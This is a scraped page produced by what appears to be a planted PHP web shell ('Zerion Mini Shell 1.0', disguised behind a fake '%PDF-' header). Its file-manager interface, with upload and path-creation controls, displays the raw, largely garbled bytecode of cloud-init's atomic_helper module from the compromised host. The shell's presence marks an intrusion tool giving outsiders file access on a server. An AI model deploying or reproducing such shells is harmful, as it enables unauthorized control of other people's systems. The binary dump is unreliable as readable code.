%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/cloudinit/__pycache__/atomic_helper.cpython-312.pyc

�

���f

���ddlZddlZddlZddlZddlZddlmZmZddlm	Z	dZ
eje�Z
d�Zd�Ze
ddfd	�Zd
�Zd�Ze
fd�Zy)
�N)�	b64decode�	b64encode)�utili�c�^�t|�}	|jd�S#t$r|cYSwxYw�Nzutf-8)r�decode�UnicodeDecodeError)�source�decodeds  �9/usr/lib/python3/dist-packages/cloudinit/atomic_helper.py�b64dr
s6�����G���~�~�g�&�&�������s��,�,c�x�t|t�s|jd�}t|�j	d�Sr)�
isinstance�bytes�encoderr)r
s r�b64ers2���f�e�$����w�'���V��#�#�G�,�,��wbFc
��|r5	tj|�}tj|j�}d}	tj
j
|�}tj|�tj|d|��}tjd||j||t|��|j|�|j!�tj"|j|�tj$|j|�y#t$rY��wxYw#t&$r(}|�tj(|j�|�d}~wwxYw)NF)�dir�delete�modezOAtomically writing to file %s (via temporary file %s) - %s: [%o] %d bytes/chars)�os�stat�S_IMODE�st_mode�OSError�path�dirnamer�
ensure_dir�tempfile�NamedTemporaryFile�LOG�debug�name�len�write�close�chmod�rename�	Exception�unlink)	�filename�contentr�omode�
preserve_mode�	file_stat�tfr�es	         r�
write_filer4"s��
�	�����)�I��<�<�	� 1� 1�2�D�
�B���'�'�/�/�(�+������ �
�
(�
(�W�U��
O���	�	�
���G�G�����L�	
�	�����
���
�
������$��
�	�	�"�'�'�8�$��)�	��	��*��
�>��I�I�b�g�g������s)�4D�CD%�	D"�!D"�%	E�.#E�Ec��	djt|��S#t$rdjt|��cYSwxYw)z1Handler for types which aren't json serializable.z
ci-b64:{0}z)Warning: redacted unserializable type {0})�formatr�AttributeError�type)�_objs r�json_serialize_defaultr:FsC��N��"�"�4��:�.�.���N�:�A�A�$�t�*�M�M�N�s��#A�Ac�>�tj|dddt��S)z%Return data in nicely formatted json.�T)�,z: )�indent�	sort_keys�
separators�default)�json�dumpsr:)�datas r�
json_dumpsrENs"���:�:�����&��rc�8�t|t|�dzd|��S)N�
�w)r/r)r4rE)r-rDrs   r�
write_jsonrIYs%�����4��4���
�	�r)rB�loggingrrr!�base64rr�	cloudinitr�
_DEF_PERMS�	getLogger�__name__r#r
rr4r:rErI�rr�<module>rQsa����	���'��
�
��g����!���-�'�d�%�!�HN��%/�r

Zerion Mini Shell 1.0